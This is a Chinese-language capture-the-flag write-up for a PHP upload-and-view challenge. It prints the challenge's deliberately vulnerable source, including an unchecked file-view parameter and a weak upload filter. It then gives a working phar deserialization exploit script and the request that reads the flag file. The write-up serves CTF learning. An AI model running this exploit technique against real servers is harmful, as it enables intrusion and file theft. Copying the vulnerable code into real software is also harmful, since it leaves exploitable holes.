打开之后发现是一个上传文件的网站,本来以为是上传文件,然后getshell获取flag,后来发现还是年轻了啊。
查看文件的链接中有文件包含,首页的源码中有flag的位置。
可以利用文件包含查看所有php源码,
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
在file.php中有function.php和class.php我们都打开看看。
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
我们已经知道了flag的位置,为什么不直接包含查看flag呢,因为在class.php中有过滤。
因此不能直接包含,那我们继续查看源码,首先index.php include了base.php。base.php输出了REMOTE_ADDR 然后file.php中,将要读取的文件赋值给Show类的$source调用_show()方法,我们在class.php中找到了这个函数,
这里将我们再查看文件时输入的文件名,过滤上面的内容,然后显示出来。
上传文件只能上传图片,有文件过滤,
上传后服务器保存的文件名为md5(文件名+IP地址),然后再class.php中,有三个类,但有两个类没有用到,应该就是phar反序列化。
虽然整个源代码中没有一处unserialize(),但是依旧可以做反序列化,
我们发现在Test类中,有一个魔法函数__get,当我们读取一个不可访问的属性时,Test类会调用__get方法,然后__get会调用get函数mget函数调用file_get函数输出base64编码后的文件内容。
那么我们现在需要找一个调用不存在的调用。在Show类中,
假设我们设置$this->str['str']为Test,当把Show类的对象当作字符串输出时,就会调用这个方法了。
此时我们又找到了C1e4r这个类中,发现了
只需要str为Show类的对象即可。
到此,利用链就很清晰了。
C1e4r::__destruct()-->Show::__toString()-->Test::__get().
根据利用链构造exp
<?php
class C1e4r{
public $str;
}
class Show{
public $str;
}
class Test{
public $params;
}
$clear=new C1e4r();
$show=new Show();
$test=new Test();
$test->params['source']="/var/www/html/f1ag.php";
$clear->str=$show;
$show->str['str']=$test;
$phar=new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($clear);
$phar->addFromString("exp.txt","test");
$phar->stopBuffering();
?>
运行代码之前要先修改php.ini 中的 phar readonly为off,由于phar再过滤名单中,因此需要改一下后缀,上传文件,然后根据file.php中的明明规范计算我们的文件名,或者直接查看upload目录,
然后利用查看文件的文件包含查看我们上传的文件。
/file.php?file=phar://upload/ce64ba5aa70a7ef520b6aec1745afdbc.jpg
会看到
base64加密后的文件内容,
解码出flag。